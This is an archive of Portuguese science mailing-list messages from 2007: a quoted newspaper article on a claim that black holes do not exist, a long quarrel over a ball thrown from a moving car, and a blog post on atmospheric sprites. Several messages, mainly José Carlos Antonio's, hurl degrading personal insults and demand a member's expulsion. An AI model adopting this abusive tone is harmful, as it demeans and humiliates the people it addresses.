concluir se de fato não existe paradoxo de informação", afirmou. "Como todas
as novas idéias em ciência, ainda é cedo para concluirmos algo de concreto."

Buraco mais embaixo

Como afinal de contas o grupo de Krauss (também conhecido com autor de
livros de ciência para leigos, como "A física de Jornada nas Estrelas")
conseguiu "destruir" os buracos negros? E que são, afinal, os objetos
escuros e maciços que os astrônomos acreditam ser buracos negros?

"Estamos propondo que objetos colapsados que parecem ser buracos
negros nascentes, na verdade, não vão se contrair além de seus próprios
horizontes de eventos, e portanto não se tornarão buracos negros
verdadeiros", diz Krauss.

Segundo ele, a matéria concentrada no local evaporaria toda na forma
de radiação, assim como Hawking previu, só que antes de o buraco negro se
formar. O que existiria, então, é uma espécie de "quase-buraco negro".

"Mas nossos resultados são mesmo sugestivos, não conclusivos", afirma
o físico americano. "Mandamos o artigo para o Stephen [Hawking], mas ele
ainda não respondeu."

Segundo Gleiser, um dos problemas de extrair muitas interpretações do
novo artigo é que os autores usam um modelo matemático "muito idealizado"
para descrever o colapso de um estrela, um fenômeno extremamente complexo.

"Uma estrela é maciça, e eles pegam um sistema muito mais simples que
isso, que é como se fosse uma casca esférica colapsando", diz Vanzella.

Além da simplificação, Krauss interpretou seus cálculos da perspectiva
de um observador externo, para solucionar um problema ligado à teoria da
relatividade.

"Um observador longe de um objeto em colapso o veria "congelar" à
medida que começasse a se aproximar do limite de se tornar um buraco negro",
explica.

"O relógio de um observador externo anda num ritmo diferente daquele
de alguém que está caindo lá."

Segundo os autores, a conclusão poderá ser testada no LHC, o
mega-acelerador de partículas a ser inaugurado em 2008. Essa maquina será
capaz de produzir minúsculos buracos negros (ou o que quer que sejam).

O tipo de radiação que emitirem revelará o que são.
(Folha de SP, 23/6)



[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: RES: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/06/2007 22:38

José Renato, de novo?

Exatamente esse trecho "...com a mesma velocidade da esteira.." (entre
outros) é que impede sua escolha pelos 2 referenciais. E a afirmação do
trecho é completamente atendida em nossa explanação, onde o avião voa...

Se quiser continuar a discussão (se quiser), continue do meu último e-mail
de nossa discussão sobre o problema, para evitar que a gente acabe andando
em círculos. O e-mail foi enviado dia 18/6:
http://br.groups.yahoo.com/group/ciencialist/message/63968

O problema do carro e da bola não muda nada o que foi discutido.

Um abraço,

Ricardo


-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: quarta-feira, 27 de junho de 2007 22:20
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados

Professor José Carlos, sua desgraça é que todos os e-mails ainda estão em
arquivo... São eles que denunciam que vc não está falando a verdade. Só para

lembrar, a solução apresentada como verdadeira e única eu não preciso negar
ou rejeitar. Ficou claro nos textos que eu concordo que ela existe, mas
sempre com a ressalva de que não atende o enunciado do problema que fala,
literalmente, "com mesma velocidade da esteira".

O problema do carro-bola surgiu como um fantasma para quem queria enterrar
de qualquer maneira a solução e os comentários que apresentei. Lembra a
agonia de aprovar o relatório que inocenta Renan Calheiros...

Nesse novo problema caro-bola, a bola tem sua velocidade medida e aferida no

lançador *em relação ao chão*, mas ao ser lançada com o carro em movimento
sua velocidade em relação ao carro-lançador é de aprox. 100km/hora, mas em
relação ao chão é praticamente zero... Igual a do avião na solução que
apresentei. Após todos esses anos de aprendizado e ensino vc não aprendeu o
principal na física dos movimentos: raciocinar com a relatividade.

José Renato
..........................................

From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, June 23, 2007 12:00 PM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados


José Renato, só para constar:

A questão do avião já foi resolvida aqui por vários listeiros e você,
até onde se sabe, não teve "culhões intelectuais" para negar as
soluções apresentadas ou apresentar outra divergente. Na verdade
apenas calou quando viu que seus argumentos eram puro lixo e que nada
mais tinha a dizer e passou então a encher o saco de outros listeiros
na esperança de que mais alguém no mundo tenha a mesma péssima
formação básica que você. Tente o Amauri ou o Ferrari.

JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, Ricardo! Faço questão de registrar a capacidade que vc e Homero
têm de
> desviarem-se do objetivo, de confundir ou ficar apenas chapinhando na
> superfície da questão dos referenciais utilizados para medir as
velocidades
> do carro e a da bola. Essa questão que levantei na experiência da bola
> lançada do carro nas mesmas velocidades em sentidos contrários, que é
> semelhante a questão do avião-esteira, parece que ninguém quer
ver... Fogem
> dela como o capeta da cruz. Faço outros comentários no texto abaixo,
após
> JR1 -, OK?
> ................................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, June 21, 2007 3:12 PM
> Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
> a100Km/h:osresultados
>
>
> E lá vamos nós...
>
> > Ricardo: A única coisa que os 2 problemas têm em comum é o seu
erro, para
> > variar...
> > ........................
> > José Renato:
> > Vc não disse qual é o meu erro?
> >
> > Ricardo:
> > 1) A bola não corre para trás, após tocar o chão, por causa do
vácuo, como
> > vc afirmou, pois ela ganha grande velocidade somente após tocar o
chão.
> > JR - Erro 1: a bola já cai na vertical pela primeira vez com
inclinação
> > para a esquerda, o que significa que já existe uma componente
horizontal
> > de força nessa direção.
>
> Mas, é após tocar no chão que realmente ganha velocidade. O
deslocamento da
> bola para esquerda, antes do contato com o chão, é muito pequeno. Não
> justifica a bola começar a rolar para a esquerda, como acontece, após o
> contato com o chão. Permanece o seu erro.
> JR1 - Sua análise está incompleta. A bola ao ser lançada está com
velocidade
> teórica zero em relação ao chão. Com o empuxo do vento de arraste do
carro
> ela adquire aceleração e, quando toca no chão já está acelerada.
Inferir que
> é a rotação da bola que aumenta a velocidade dela ao tocar o chão vc
pode.
> Mas é apenas um palpite, visto que o vídeo não tem boa definição que
permita
> um cálculo preciso, como vimos na plotagem que takata fez. O que vc
não pode
> negar é que o vento, provocado pelo deslocamento do carro, promove a
> aceleração horizontal da bola para a esquerda a partir do lançamento.
>
> > 2) O avião decola seja qual for o referencial escolhido para o outro
> > problema (do avião) e não faz nenhum sentido o uso de 2 referenciais,
> > pelas razões já exaustivamente explicadas.
> > JR - Erro 2: Para a medição das velocidades do carro e da bola foram
> > usados 2 referenciais diversos. O teste feito com o lançador
parado para a
> > aferição da velocidade utilizou o chão como referencial. Mas, quando o
> > lançador está no carro, a velocidade da bola é medida em relação ao
> > lançador e não mais em relação ao chão.
>
> A velocidade da bola só é medida com o carro parado. Pelo menos no vídeo
> apresentado. E, aliás, nem é realmente importante. A única observação
> importante, neste caso, é a de que o grande movimento adquirido após o
> contato com o chão não pode ter sido causado pelo vácuo, senão
aconteceria
> antes deste contato.
> JR1 - Análise claudicante e autista... A medida da velocidade da
bola, um
> dos dois dados fundamentais do problema já não é importante... A
inclinação
> da bola para a esquerda já é visível na primeira trajetória após o
> lançamento. Essa força de empuxo horizontal somada à componente
vertical
> gravitacional promove o deslocamento mais acentuado após quicar no chão.
>
> > Se ela estivesse em um tubo bem longo instalado no carro e
mantivesse a
> > velocidade do lançamento de 100km/h ela continuaria praticamente
parada em
> > relação ao solo... Como o avião.
>
> Não, visto que o cano não impediria a rotação da bola em torno de seu
> próprio eixo, e que mesmo o pequeno deslocamento da bola ainda no ar
está,
> muito provavelmente, associado à diferença entre a velocidade do
carro e a
> velocidade de arremesso, que obviamente, dificilmente serão iguais.
E, veja
> bem, mesmo que o vácuo tivesse causado este pequeno deslocamento para a
> esquerda inicial (que deixaria a bola quase no local de lançamento), não
> justificaria o grande movimento que ocorre após o contato com o chão.
> JR1 - Não expliquei direito o arranjo imaginado com um tubo longo
horizontal
> acoplado ao carro que mantivesse a bola na velocidade de 100km/h. O
> carro-esteira se deslocaria para a esquerda a 100km/h, medida em
relação ao
> chão, e a bola-avião se deslocaria a 100km/h medida em relação ao
> carro-esteira.
>
> Seria difícil conseguir este nível de precisão para as duas
velocidades. Mas
> o fato do deslocamento ainda no ar ser muito pequeno, mostra que
chegaram
> bem perto disso. Foi bastante satisfatório o experimento, ao meu ver.
> JR1 - Se o deslocamento da bola fosse para a direita na primeira
trajetória
> antes de tocar o chão poderíamos afirmar sem dúvida que as
velocidades não
> eram iguais. No caso em questão em que a bola se inclina para a
esquerda no
> primeiro trajeto ao chão, considerar o efeito de rotação da bola como
> impulcionador após o toque no chão é apenas um exercício de imaginação.
> Seria um evento que até poderia ocorrer, mas não justificaria a
inclinação
> para a esquerda no primeiro trajeto ao chão.
>
>
> > Não adianta se esconder. A verdade vai chegando de mansinho no
problema
> > da bola e em outros trocentos problemas semelhantes de movimentos
> > relativos.
> > São eles que vão mostrar quem está errando e insistindo no erro de
> > interpretação, só para não aceitar que minha análise está correta.
> >
> > Quem sabe de tanto vc repetir isso, se realize? Como naquele profundo
> > filme"Quem somos nós"?
> > JR - Quem sabe um dia vc caia na real de que é isso que se realiza?
>
> Hmm... continue repetindo os mesmos argumentos sem sentido que um dia vc
> deve conseguir (pelo menos a gente vai se cansar de tentar te explicar).
> JR1 - Só espero que vc e outros não usem de renancalheirismo e,
depois de
> cairem na real, venham dizer que sabiam disso deeessde o início e
que só
> estavam discordando de bricadeirinha! Takata já indicou algo
preocupante em
> seu último comentário: deixa essa questão dos referenciais de
medições para
> Homero e outros se divertirem comigo. Por favor, não nos decepcionem!
>
> Abs,
> Ricardo
>
> Abraços
> José Renato
>




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SUBJECT: Re: [ciencialist] Buraco negro não existe - Rafael Garcia/FSP
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/06/2007 22:48

[ Se esses objetos cósmicos ficarem muito tempo sem nada para engolir, eles
acabam perdendo massa na forma de radiação e finalmente morrem. O problema é
que essa morte aniquilaria toda a informação contida na matéria engolida
pelo buraco negro. Isso vai contra leis básicas da física quântica, segundo
a qual a informação pode ser transformada, mas nunca aniquilada. ]
.................................................

Olá, Silvio!

O autor do comentário, Rafael Garcia, não ressaltou que as informações
contidas na massa do buraco negro não desaparecem ou se aniquilam, mas sim
que elas estão e são transportadas pela radiação emitida. Não ressalta
também que à medida que a massa do buraco negro vai se reduzindo - expelida
em forma de radiação - sua massividade pode deixar de ser suficiente para
manter as propriedades gravitacionais do buraco negro. Aguardemos os testes
no LHC para produzir esse fenômeno em escala microcósmica...

Abraços

José Renato
.................................................

> From: "SILVIO CORDEIRO" <scordeiroes@> To:
> <redeliberal@yahoogrupos.com.br>; <paucor@superig.com.br>;
> <ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
> Sent: Monday, June 25, 2007 10:10 PM
> Subject: [ciencialist] Buraco negro não existe
>
> transcrevo do JC.
>
> Buraco negro não existe, diz trio de físicos dos EUA
>
> Pesquisadores propõem solução para enigma elaborado por Stephen
> Hawking. Estudo é debatido há um ano e passou pelo crivo de publicação
> rigorosa; autor diz que pode testar idéia em acelerador de partículas
>
> Rafael Garcia escreve para a "Folha de SP":
>
> Um trio de físicos está propondo uma solução inusitada para um enigma
> que desafia a ciência há mais de 30 anos.
>
> Tanto a elaboração do problema quanto a solução oferecida são
> bastante complexos, mas o resultado final de tudo pode ser resumido de
> maneira simples: buracos negros não existem.
>
> A alegação, afirmam seus autores, é a resposta para um enigma
> proposto pelo britânico Stephen Hawking, mais conhecido como autor do
> livro "Uma Breve História do Tempo", portador de uma doença neurológica
> que o deixou paralisado.
>
> A inexistência dos buracos negros foi proposta por grupo de físicos
> da Universidade Case, de Cleveland (EUA), em um estudo que já está
> circulando há alguns meses entre a comunidade de físicos teóricos.
>
> Só agora, porém, o trabalho foi aceito para publicação em uma revista
> com um crivo rigoroso, a "Physical Review D".
>
> Com 15 páginas cheias de equações e diagramas, Dejan Stojkovic,
> Lawrence Krauss e Tanmay Vachaspati detalham a sua proposta de solução
> para o que os físicos conhecem como o "paradoxo da informação".
>
> O problema está ligado à natureza dos buracos negros, objetos
> cósmicos tão maciços que sua gravidade captura tudo o que está em volta e
> não deixam escapar nada -nem mesmo a luz.
>
> Segundo a concepção clássica, buracos negros são produzidos quando
> uma estrela maciça demais implode. Toda sua massa fica concentrada em um
> ponto de dimensão zero, chamado de "singularidade".
>
> Nada que se aproxime além de uma certa fronteira, chamada de
> "horizonte de eventos", escapa à fome do mostro.
>
> Morte impossível
>
> O problema é que esse conceito entra em conflito com a física
> quântica, conforme o paradoxo proposto por Hawking em 1974. Segundo ele,
> um buraco negro não é um monstro imortal que só faz crescer.
>
> Se esses objetos cósmicos ficarem muito tempo sem nada para engolir,
> eles acabam perdendo massa na forma de radiação e finalmente morrem.
>
> O problema é que essa morte aniquilaria toda a informação contida na
> matéria engolida pelo buraco negro. Isso vai contra leis básicas da física
> quântica, segundo a qual a informação pode ser transformada, mas nunca
> aniquilada.
>
> Ao propor que buracos negros não existem, o grupo de Krauss oferece
> uma solução para o enigma.
>
> "Se estivermos corretos, nenhuma informação será perdida ao
> atravessar o horizonte de eventos de um buraco negro, porque esse
> horizonte jamais se formaria", disse Krauss à "Folha de SP".
>
> "Nós tivemos um bocado de discussão com muitos colegas, e muitos
> deles estão céticos, mas até agora ninguém conseguiu oferecer uma razão
> definitiva pela qual isso não esteja correto."
>
> Apesar aceito pela "Phisical Review", porém, o novo estudo ainda deve
> passar pelo crivo da comunidade científica para deixar de ser tido como
> proposta intelectualmente isolada.
>
> Segundo o físico Daniel Vanzella, professor da USP de São Carlos, não
> é a primeira vez que alguém postula a inexistência de buracos negros.
>
> Mas, na maioria das vezes em que isso ocorreu num passado recente,
> físicos não demoraram a encontrar erros em contas ou problemas de
> interpretação nos estudos.
>
> "Na minha opinião, esse trabalho merece uma análise mais cautelosa",
> afirma. "Certamente a comunidade vai olhar com carinho e cuidado esse
> paper [estudo]."
>
> O físico Marcelo Gleiser, professor do Dartmouth College (EUA) e
> colunista da "Folha de SP", classificou o novo trabalho como
> "interessante" e "elegante", mas "inconclusivo".
>
> "Talvez seja um passo na direção certa, mas falta muito para se
> concluir se de fato não existe paradoxo de informação", afirmou. "Como
> todas as novas idéias em ciência, ainda é cedo para concluirmos algo de
> concreto."
>
> Buraco mais embaixo
>
> Como afinal de contas o grupo de Krauss (também conhecido com autor
> de livros de ciência para leigos, como "A física de Jornada nas Estrelas")
> conseguiu "destruir" os buracos negros? E que são, afinal, os objetos
> escuros e maciços que os astrônomos acreditam ser buracos negros?
>
> "Estamos propondo que objetos colapsados que parecem ser buracos
> negros nascentes, na verdade, não vão se contrair além de seus próprios
> horizontes de eventos, e portanto não se tornarão buracos negros
> verdadeiros", diz Krauss.
>
> Segundo ele, a matéria concentrada no local evaporaria toda na forma
> de radiação, assim como Hawking previu, só que antes de o buraco negro se
> formar. O que existiria, então, é uma espécie de "quase-buraco negro".
>
> "Mas nossos resultados são mesmo sugestivos, não conclusivos", afirma
> o físico americano. "Mandamos o artigo para o Stephen [Hawking], mas ele
> ainda não respondeu."
>
> Segundo Gleiser, um dos problemas de extrair muitas interpretações do
> novo artigo é que os autores usam um modelo matemático "muito idealizado"
> para descrever o colapso de um estrela, um fenômeno extremamente complexo.
>
> "Uma estrela é maciça, e eles pegam um sistema muito mais simples que
> isso, que é como se fosse uma casca esférica colapsando", diz Vanzella.
>
> Além da simplificação, Krauss interpretou seus cálculos da
> perspectiva de um observador externo, para solucionar um problema ligado à
> teoria da relatividade.
>
> "Um observador longe de um objeto em colapso o veria "congelar" à
> medida que começasse a se aproximar do limite de se tornar um buraco
> negro", explica.
>
> "O relógio de um observador externo anda num ritmo diferente daquele
> de alguém que está caindo lá."
>
> Segundo os autores, a conclusão poderá ser testada no LHC, o
> mega-acelerador de partículas a ser inaugurado em 2008. Essa maquina será
> capaz de produzir minúsculos buracos negros (ou o que quer que sejam).
>
> O tipo de radiação que emitirem revelará o que são.
> (Folha de SP, 23/6)
>
>
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SUBJECT: Vídeo revela surpresas sobre os Sprites: “está cheio de estrelas!”
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 27/06/2007 23:06

V�deo revela surpresas sobre os Sprites: "est� cheio de
estrelas!"<http://www.ceticismoaberto.com/news/?p=916>

<http://www.livescience.com/environment/070612_sprite_secrets.html>
*Sprites*<http://www.dios.com.ar/notas1/enigmas/fenomenos/sprite/sprites.htm>s�o
r�pidas descargas el�tricas sobre nuvens de tempestades em grandes
altitudes � foram previstos teoricamente em 1925, e por anos pilotos de
avi�o comerciais os relataram, mas por durarem apenas fra��es de segundo n�o
foram considerados. Apenas em 1989 Bernard Vonnegut percebeu que o incerto
fen�meno te�rico e aned�tico talvez pudesse ser capturado nos v�deos da alta
atmosfera sendo ent�o realizados em miss�es do �nibus espacial. E seu
palpite estava certo: em 21 de outubro de 1989, a bordo do �nibus espacial
foram capturadas as primeiras imagens que confirmavam a exist�ncia daqueles
que se conheceriam como Sprites, um novo e curioso fen�meno atmosf�rico a
ser explicado surgia.
Novos v�deos dos sprites capturados em alt�ssima velocidade revelam agora
que, ao contr�rio do que se acreditava, o fen�meno n�o � composto de finos
filamentos el�tricos em forma de cogumelo estendendo-se para cima aos
limites da atmosfera: em verdade, e como Bowman em *2001*, os sprites "est�o
cheio de estrelas!". O v�deo a 10.000 quadros por segundo permitiu capturar
a bel�ssima forma��o de uma mir�ade de bolas descendo, e ent�o subindo, a um
d�cimo da velocidade da luz. Tudo ocorre t�o r�pido que os v�deos anteriores
capturavam apenas um borr�o em filamento que era em verdade a trajet�ria
percorrida pelas esferas.
Confira o v�deo estupendo clicando
aqui<http://www.livescience.com/php/video/player.php?video_id=080607sprites>�
digno de uma Odiss�ia no Espa�o � e leia mais sobre o fen�meno, em
espanhol: "Duendes, chorros y elfos: Espect�culo multimedia en la
ion�sfera"<http://www.dios.com.ar/notas1/enigmas/fenomenos/sprite/sprites.htm>
.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Curiosidades<http://www.ceticismoaberto.com/news/?cat=7>,
Ci�ncia <http://www.ceticismoaberto.com/news/?cat=11> | Por Mori
Comente! �<http://www.ceticismoaberto.com/news/?p=916#respond>

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Imagem acima tomada por sa...
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ingl�s,
space.com informa a ...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=121>Bola de p�lo Acreditem: a
bola de p�lo na foto...
- O terr�vel Candir�:
v�deo<http://www.ceticismoaberto.com/news/?p=750>Veja o post sobre
este terr�vel parasita ...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=59> N�o
leia isto Talvez voc�, amante do bizarro, p...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: Errar é humano p/ o padre José Renato
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 01:15

Tá vendo só, o sujeito é inteligente feito uma porta, tem uma má
vontade típica de padre, não consegue decolar seu avião, fugiu da
escola e matou todas as aulas (e não só as de física), defeca
inutilidades na lista e cria polêmicas de seminarista só para
emporcalhar assuntos sérios com divagações teológicas e metafísicas,
não tem argumentos a favor nem contra coisa alguma e só presta para
encher o saco e poluir a lista... E ainda tem a cara de pau de dizer
que a "mágoa" é dos outros, como se o ignorante de má vontade não
fosse ele próprio. É muita hipocrisia e falta de vergonha. :)

Acho que juntando todas as suas mensagens não dá para fazer nem um
manualzinho de meia página com informações relevantes sobre assunto
nenhum. Então pergunto: para que você serve em uma lsita de ciências?
Para ficarmos fazendo piadinhas do seu avião movido à inteligência de
padre? Acho que expulsá-lo da lista é até uma questão de humanidade,
pois é chato ficar rindo das suas asneiras o tempo todo e saber que
você não consegue perceber o ridículo a que se expõe. :(

Estou acostumado a viver entre pessoas que sabem muito pouco e acho
isso bastante normal e saudável, mas no seu caso não é normal e nem
saudável uma pessoa adulta comportar-se como um adolescente rebelde
que só quer chamar a atenção e que não tem condições de compreender
nem mesmo que as pessoas estão rindo de você e não de sua piada. Dá dó.

Eu o expulsaria da lista por uma questão de humanidade, para preservar
o pouco de humano que ainda lhe resta nessa carcaça de padre ignorante.

Na verdade não responderei mais às suas mensagens para poucar a lista
de acumular mais lixo do que ela já tem graças a você, ao Ferrari e ao
Amauri. E, caso continue por aqui, vai ser uma pena ver essa lista
continuar definhando por causa de pessoas como você que só estão aqui
para afundá-la.

E, por favor, se quiser escrever mais alguma asneira em resposta,
escreva em PVT, assim posso deletar do servidor e os outros não
precisarão ler mais sandices suas.

Adeus,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> O que é isso professor José Carlos?
> As razões que vc apresenta não são tão fortes suficientes para provocar
> tamanha violência em sua mudança de atitude. São nessas ocasiões que as
> pessoas revelam seu íntimo mais escondido. Suas mágoas e irritações
não vão
> deixar de lhe incomodar, nem a realidade vai mudar quando vc deixar
de ler
> opiniões e conhecimentos que vc não consegue assimilar. Vc pode até
chegar,
> daqui a alguns anos, a um entendimento da gravidade de suas
palavras, mas
> elas já foram lançadas... Esse e-mail marcará para sempre em sua
vida, sua
> história.
>
> José Renato
> ..........................................
> ----- Original Message -----
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, June 23, 2007 12:06 PM
> Subject: [ciencialist] Errar é humano
>
>
> Prezados moderados e lista,
>
> Atendendo às múltiplas solicitações de compreensão, humildade
> intelectual e paciência com os leigos de má vontade, venho por meio
> dessa admitir um profundo e grave ero intelectual que cometi nessa
> lista em várias ocasiões ao me colocar contra a expulsão de membros
> que nunca deram aqui nenhuma contribuição que prestasse e que, pelo
> contrário, já emporcalharam essa lista com lixo de todo tipo em
> centenas de mensagens. A saber: Amauri, José Renato e Ferrari (os
> principais).
>
> Sendo assim, a pedido dos próprios, reconheço meu erro, admito que
> estava errado e passo a concordar com a expulsão dos três e de tantos
> outros quantos necessário for para que essa lista volte a ser uma
> lista de ciência e não a casa da Mãe Joana (pobre da minha mãezinha).
>
> Sem mais,
> JC
>
>
>
>
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>
> E-mail classificado pelo Identificador de Spam Inteligente Terra.
> Para alterar a categoria classificada, visite
>
http://mail.terra.com.br/cgi-bin/imail.cgi?+_u=jrma&_l=1,1182628460.556154.28949.camenana.hst.terra.com.br,4170,Des15,Des15
>
> Esta mensagem foi verificada pelo E-mail Protegido Terra.
> Scan engine: McAfee VirusScan / Atualizado em 22/06/2007 / Versão:
> 5.1.00/5059
> Proteja o seu e-mail Terra: http://mail.terra.com.br/
>
>
>
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.476 / Virus Database: 269.9.7/868 - Release Date:
25/6/2007
> 12:20
>




SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 01:19

Nos poupe de suas asneiras. Até meus aluninhos de primeiro colegial de
escola pública ficam envergonhados das suas mensagens ridículas. Eu as
uso como exemplo da importância de levar a sério os estudos para se
aprender pelo menos o básico ao invés de só cabular aulas como você
fez. Mas até para isso suas mensagens prestam muito pouco, pois os
alunos ficam deprimidos ao se sentirem comparados a você.

Adeus.


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Professor José Carlos, sua desgraça é que todos os e-mails ainda
estão em
> arquivo... São eles que denunciam que vc não está falando a verdade.
Só para
> lembrar, a solução apresentada como verdadeira e única eu não
preciso negar
> ou rejeitar. Ficou claro nos textos que eu concordo que ela existe, mas
> sempre com a ressalva de que não atende o enunciado do problema que
fala,
> literalmente, "com mesma velocidade da esteira".
>
> O problema do carro-bola surgiu como um fantasma para quem queria
enterrar
> de qualquer maneira a solução e os comentários que apresentei. Lembra a
> agonia de aprovar o relatório que inocenta Renan Calheiros...
>
> Nesse novo problema caro-bola, a bola tem sua velocidade medida e
aferida no
> lançador *em relação ao chão*, mas ao ser lançada com o carro em
movimento
> sua velocidade em relação ao carro-lançador é de aprox. 100km/hora,
mas em
> relação ao chão é praticamente zero... Igual a do avião na solução que
> apresentei. Após todos esses anos de aprendizado e ensino vc não
aprendeu o
> principal na física dos movimentos: raciocinar com a relatividade.
>
> José Renato
> ..........................................
>
> From: "José Carlos Antonio" <profjc2003@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, June 23, 2007 12:00 PM
> Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro
> a100Km/h:osresultados
>
>
> José Renato, só para constar:
>
> A questão do avião já foi resolvida aqui por vários listeiros e você,
> até onde se sabe, não teve "culhões intelectuais" para negar as
> soluções apresentadas ou apresentar outra divergente. Na verdade
> apenas calou quando viu que seus argumentos eram puro lixo e que nada
> mais tinha a dizer e passou então a encher o saco de outros listeiros
> na esperança de que mais alguém no mundo tenha a mesma péssima
> formação básica que você. Tente o Amauri ou o Ferrari.
>
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Olá, Ricardo! Faço questão de registrar a capacidade que vc e Homero
> têm de
> > desviarem-se do objetivo, de confundir ou ficar apenas chapinhando na
> > superfície da questão dos referenciais utilizados para medir as
> velocidades
> > do carro e a da bola. Essa questão que levantei na experiência da bola
> > lançada do carro nas mesmas velocidades em sentidos contrários, que é
> > semelhante a questão do avião-esteira, parece que ninguém quer
> ver... Fogem
> > dela como o capeta da cruz. Faço outros comentários no texto abaixo,
> após
> > JR1 -, OK?
> > ................................................
> >
> > From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> > Sent: Thursday, June 21, 2007 3:12 PM
> > Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
> > a100Km/h:osresultados
> >
> >
> > E lá vamos nós...
> >
> > > Ricardo: A única coisa que os 2 problemas têm em comum é o seu
> erro, para
> > > variar...
> > > ........................
> > > José Renato:
> > > Vc não disse qual é o meu erro?
> > >
> > > Ricardo:
> > > 1) A bola não corre para trás, após tocar o chão, por causa do
> vácuo, como
> > > vc afirmou, pois ela ganha grande velocidade somente após tocar o
> chão.
> > > JR - Erro 1: a bola já cai na vertical pela primeira vez com
> inclinação
> > > para a esquerda, o que significa que já existe uma componente
> horizontal
> > > de força nessa direção.
> >
> > Mas, é após tocar no chão que realmente ganha velocidade. O
> deslocamento da
> > bola para esquerda, antes do contato com o chão, é muito pequeno. Não
> > justifica a bola começar a rolar para a esquerda, como acontece,
após o
> > contato com o chão. Permanece o seu erro.
> > JR1 - Sua análise está incompleta. A bola ao ser lançada está com
> velocidade
> > teórica zero em relação ao chão. Com o empuxo do vento de arraste do
> carro
> > ela adquire aceleração e, quando toca no chão já está acelerada.
> Inferir que
> > é a rotação da bola que aumenta a velocidade dela ao tocar o chão vc
> pode.
> > Mas é apenas um palpite, visto que o vídeo não tem boa definição que
> permita
> > um cálculo preciso, como vimos na plotagem que takata fez. O que vc
> não pode
> > negar é que o vento, provocado pelo deslocamento do carro, promove a
> > aceleração horizontal da bola para a esquerda a partir do lançamento.
> >
> > > 2) O avião decola seja qual for o referencial escolhido para o outro
> > > problema (do avião) e não faz nenhum sentido o uso de 2
referenciais,
> > > pelas razões já exaustivamente explicadas.
> > > JR - Erro 2: Para a medição das velocidades do carro e da bola foram
> > > usados 2 referenciais diversos. O teste feito com o lançador
> parado para a
> > > aferição da velocidade utilizou o chão como referencial. Mas,
quando o
> > > lançador está no carro, a velocidade da bola é medida em relação ao
> > > lançador e não mais em relação ao chão.
> >
> > A velocidade da bola só é medida com o carro parado. Pelo menos no
vídeo
> > apresentado. E, aliás, nem é realmente importante. A única observação
> > importante, neste caso, é a de que o grande movimento adquirido após o
> > contato com o chão não pode ter sido causado pelo vácuo, senão
> aconteceria
> > antes deste contato.
> > JR1 - Análise claudicante e autista... A medida da velocidade da
> bola, um
> > dos dois dados fundamentais do problema já não é importante... A
> inclinação
> > da bola para a esquerda já é visível na primeira trajetória após o
> > lançamento. Essa força de empuxo horizontal somada à componente
> vertical
> > gravitacional promove o deslocamento mais acentuado após quicar no
chão.
> >
> > > Se ela estivesse em um tubo bem longo instalado no carro e
> mantivesse a
> > > velocidade do lançamento de 100km/h ela continuaria praticamente
> parada em
> > > relação ao solo... Como o avião.
> >
> > Não, visto que o cano não impediria a rotação da bola em torno de seu
> > próprio eixo, e que mesmo o pequeno deslocamento da bola ainda no ar
> está,
> > muito provavelmente, associado à diferença entre a velocidade do
> carro e a
> > velocidade de arremesso, que obviamente, dificilmente serão iguais.
> E, veja
> > bem, mesmo que o vácuo tivesse causado este pequeno deslocamento
para a
> > esquerda inicial (que deixaria a bola quase no local de
lançamento), não
> > justificaria o grande movimento que ocorre após o contato com o chão.
> > JR1 - Não expliquei direito o arranjo imaginado com um tubo longo
> horizontal
> > acoplado ao carro que mantivesse a bola na velocidade de 100km/h. O
> > carro-esteira se deslocaria para a esquerda a 100km/h, medida em
> relação ao
> > chão, e a bola-avião se deslocaria a 100km/h medida em relação ao
> > carro-esteira.
> >
> > Seria difícil conseguir este nível de precisão para as duas
> velocidades. Mas
> > o fato do deslocamento ainda no ar ser muito pequeno, mostra que
> chegaram
